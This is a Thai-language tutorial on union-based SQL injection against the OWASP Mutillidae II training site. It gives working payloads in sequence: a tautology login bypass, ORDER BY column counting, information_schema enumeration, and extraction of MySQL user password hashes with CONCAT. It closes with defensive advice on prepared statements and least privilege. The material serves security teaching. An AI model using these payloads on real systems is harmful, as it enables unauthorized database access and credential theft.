How to extract data due to vulnerability of SQLi

บทนำ (Overview)

จากบทความก่อนหน้าที่สามารถ “Bypass” การ “Login” โดยใช้ช่องโหว่ “SQL injection” ได้นั้น (How to bypass authentication using SQLi) ในบทความนี้จะกล่าวถึงการดึงข้อมูลจากในฐานข้อมูลโดยไม่ได้รับอนุญาต (ซึ่งโปรแกรมมีการบังคับให้เฉพาะผู้มีสิทธิเท่านั้นเห็นข้อมูลได้)

ซึ่งการดึงข้อมูลนั้นสามารถเป็นไปได้ทั้งในรูปแบบ หน้าเว็บที่เกิด “Error” หรือไม่เกิด “Error” โดยข้อมูลที่ต้องการจะถูกแทรกเข้าใปใช้ “Field” เดิมที่กำหนดไว้เป็นต้น

ขั้นตอน (Steps)

  1. ติดตั้ง OWASP Mutillidae II (เว็บไซต์ใช้สำหรับการทดสอบช่องโหว่ของ OWASP) จาก http://sourceforge.net/projects/mutillidae/?source=typ_redirect
  2. ไปที่หัวข้อ “SQLi – Extract data”extract_data_sqli1
  3. ทดลองสร้าง “User account” ใหม่ จากนั้นลอง “Login” ด้วย “Username” และ “Password” ที่สร้างนั้น พบว่าจะแสดงรายละเอียด “User account” ที่เรากรอกเข้าไปextract_data_sqli2
  4. ทดสอบหาข้อผิดพลาดจากการใส่ ‘ (Single quote) พบว่าเกิด “Error” เช่นเดียวกับการ “Bypass” ของ “Login” extract_data_sqli3
  5. เพราะฉะนั้นลองทดสอบกรอกคำสั่ง  ‘ or ‘1’ = ‘1’#– ที่ช่อง “Username” อย่างเดียว พบว่ามีรายเอียดของ บัญชีผู้ใช้จำนวน 24 บัญชี ออกมาซึ่งในความจริงเราไม่มีสิทธิเข้าดูextract_data_sqli4
  6. จากนั้นเราลองมาเข้าถึงข้อมูลใน “Table” อื่น ๆ กันดูดีกว่า โดยหลักการคือ เราจะดึงข้อมูลจาก “Table” อื่นมาทำการต่อกับข้อมูลของ “Table” ที่โปรแกรมเขียนดึงเอาไว้ โดยใช้คำสั่ง “union” ของระเบียน (records) แต่การที่จะ “union” ระหว่างคำสั่ง “select” ได้นั้นจำนวน “column” ใน “select” ของทั้ง 2 คำสั่งต้องเท่ากัน
  7. เราสามารถหาจำนวน “column” ของ “table” ที่เว็บไซต์เรียกใช้ได้ (“table” ชื่อ “accounts” สามารถทราบได้จาก “error”) ถึงแม้มันจะใช้ * ก็ตาม (Select * ความหมายคือสืบค้นข้อมูลทุก column ใน table) โดยใช้หลักการของ order by <เลขลำดับ column> เริ่มจาก 1..n ได้ดังนี้ ‘ or ‘1’  =’1′ order by 2;#
    SELECT * FROM accounts WHERE username='' or '1' ='1' order by 15;#' AND password=''
    
  8. เราเริ่มไล่ตั้งแต่ order by 1 จนถึง n ถ้าพบว่า “error” แสดงว่า จำนวน n-1 คือ จำนวน “column” ที่มีอยู่ใน “table” จากตัวอย่างพบว่าเว็บไซต์จะ “error” เมื่อ “order by 8” แสดงว่ามีจำนวน “column” = 8extract_data_sqli5
  9. เมื่อเราทราบแน่นอนแล้ว มีจำนวน “column” ที่เว็บไซต์เรียกใช้มีจำนวนเท่ากับ 7 เราก็จะต้อง “union” ข้อมูลให้เท่ากับ 7 “column” ด้วย วิธีที่ง่ายที่สุดคือกำหนดตัวเลขลงไปเลย เช่น ‘ union select ‘1’, ‘2’, ‘3’, ‘4’, ‘5’, ‘6’, ‘7’ from accounts ;# ส่งผลให้จะได้ Syntax SQL ดังนี้
    SELECT * FROM accounts WHERE username='' union select '1', '2', '3', '4', '5', '6', '7'from accounts ;#' AND password=''
    
  10. ทดสอบลองกรอกเข้าไปที่ช่อง “username” พบว่า  ข้อมูล ‘2’ จะไปปรากฏที่ช่อง “username” ข้อมูล ‘3’ จะไปปรากฏที่ช่อง “password” และ  ข้อมูล ‘4’ จะปรากฏอยู่ในช่อง “Signature” ซึ่งเราสามารถใช้ตำแหน่ง ‘2’, ‘3’, และ ‘4’ ในการดึงข้อมูล “column” มาแสดงได้ extract_data_sqli6
  11. ที่นี้เราลองมาหาข้อมูลใน “table” อื่นกัน โดยมากจะเข้าไปใน “table” ของระบบฐานข้อมูล (system table) หรือใช้ฟังก์ชันของตามแต่ละชนิดของข้อมูล เช่น “ORACLE” “MySQL” “MSSQL server” “MS Access” “SQLite” เราสามารถหาชนิดของฐานข้อมูลได้เช่น error ต่าง ๆ หรือ port ที่เปิด เป็นต้น
  12. เนื่องจาก “error” ทำให้เราทราบว่า ฐานข้อมูลคือ “MySQL” เราจะทดสอบการเรียกใช้ “function” และเข้าถึงตารางฐานข้อมูลของระบบ (system table) ดังตัวอย่างเช่น
    #ใช้สำหรับแสดงเลข version ของ MySQL
    SELECT @@version
    
    #ใช้สำหรับแสดงชื่อ server ที่ใช้
    SELECT @@hostname; 
    
    #แสดง username ของเว็บไซต์ที่ใช้ติดต่อกับฐานข้อมูล
    SELECT system_user();
    
    #ชื่อของฐานข้อมูลที่ใช้
    SELECT database()
    
    #ดึงข้อมูลชื่อ ตารางทั้งหมด
    SELECT table_schema,table_name FROM information_schema.tables 
    
    #ดึงข้อมูล column จากตารางที่กำหนด
    SELECT table_schema, table_name, column_name FROM information_schema.columns 
    
    #ค้นหาชื่อ username ของฐานข้อมูล (ต้องมีสิทธิบริหาร db)
    SELECT User FROM mysql.user; 
    
    #ค้นหาชื่อ password ของฐานข้อมูล (ต้องมีสิทธิบริหาร db)
    SELECT host, User, Password FROM mysql.user;
    
    
  13. ทดสอบ ดึงข้อมูลชื่อ “username” ที่ใช้เชื่อมต่อฐานข้อมูล ‘ union select ‘1’, system_user(), ‘3’, ‘4’, ‘5’, ‘6’, ‘7’ from accounts ;#extract_data_sqli7
  14. จากนั้นเราลองค้นชื่อฐานข้อมูล (Schema) ชื่อตาราง (Table) และชื่อ (Field) ทั้งหมดจะทำให้เราสามารถเข้าได้ทุกตารางที่มีสิทธิเทียบเว็บไซต์จะเข้าได้ ดังนี้
    ตรวจสอบชื่อ Schema ที่เว็บไซต์ใช้อยู่ ณ ปัจจุบัน รวมถึงชื่อ Host ด้วย

    ' union select '1', database(), @@hostname, '4', '5', '6', '7'from accounts ;#
    

    extract_data_sqli8

  15. แสดงรายชื่อ Schema ทั้งหมดที่มีอยู่ในฐานข้อมูล MySQL
    ' union select '1', table_schema , '3', '4', '5', '6', '7' from information_schema.tables ;#
    

    extract_data_sqli9

  16. แสดงรายชื่อ Table ทั้งหมดจาก Schema ที่ชื่อ mysql โดยเราสามารถเปลี่ยนชื่อได้ตามผลลัพธ์จากการค้นหา Schema
    ' union select '1', table_schema , table_name, '4', '5', '6', '7'from information_schema.tables WHERE table_schema = 'mysql';#
    

    extract_data_sqli10

  17. แสดงรายชื่อ Column ทั้งหมดของ Table ที่ชื่อ user โดยเราสามารถเปลี่ยนชื่อได้ตามผลลัพธ์จากการค้นหา Table
    ' union select '1', table_schema , table_name, column_name, '5', '6', '7'from information_schema.columns WHERE table_name = 'user';#
    

    extract_data_sqli11

  18. เมื่อทราบชื่อ Table ที่ต้องการ และชื่อ Field ที่ต้องการแล้ว สามารถดึงข้อมูลได้ทันทีกับทุก Schema ที่เว็บไซต์มีสิทธิเข้าถึง จากตัวอย่างทดลองเข้าถึง “Table” ที่ชื่อ “mysql.user” เพื่อดึงค่า “Hash” ซึ่งเป็น “password” ของ ฐานข้อมูลออกมา
    ' union select '1', User, Password, '4', '5', '6', '7'from mysql.user;#
    

    extract_data_sqli12

  19. นอกจากนี้จะเห็นบาง “Table” อาจจะมีหลาย “column” แต่ช่องแสดงข้อมูลเรามีเพียง 3 “column” เราสามารถดึกข้อมูลหลาย ๆ “column” แล้วมารวมอยู่ใน “column” เดียวกันได้โดยใช้คำสั่ง CONCAT(‘FIRST ‘, ‘SECOND’) ตัวอย่างเช่น
    ' union select '1', CONCAT('Host: ',Host,' Username: ', User, ' Password: ',  Password),'3', '4', '5', '6', '7'from mysql.user;#
    

    extract_data_sqli13

สรุปผลการทดสอบ (Conclusion)

นอกจากการป้องกัน “Input validation” คือการตรวจสอบส่วนนำเข้าไม่อนุญาติชุดคำสั่งจากเว็บเบราเซอร์แล้ว การใช้ “Prepared-statement” ก็เป็นส่วนสำคัญที่ช่วยป้อง “SQLi” แต่อย่างไรในส่วนหัวข้อนี้จะเป็นได้ว่า สามารถเข้าไปถึง Table ที่เป็นของระบบ (System table) นั้นเพราะถ้าเว็บไซต์ได้สิทธิอะไรช่องโหว่ “SQLi” จะมีสิทธิตามนั้น เพราะฉะนั้นการจำกัดสิทธิการเข้าถึงตารางจึงเป็นส่วนสำคัญ ควรให้สิทธิเพียงพอกับการใช้งานของเว็บไซต์ ไม่ควรให้สิทธิมากเกินไป เป็นต้น ทั้งเมื่อมีการเปลี่ยนแปลง “Software version” ถ้าเกิดมีช่องโหว่ “SQLi” ขึ้นมาอีก การจำกัดวงเสียหายจะเกิดขึ้นได้เพียงแค่ สิทธิที่ฐานข้อมูลให้เท่านั้น

ใส่ความเห็น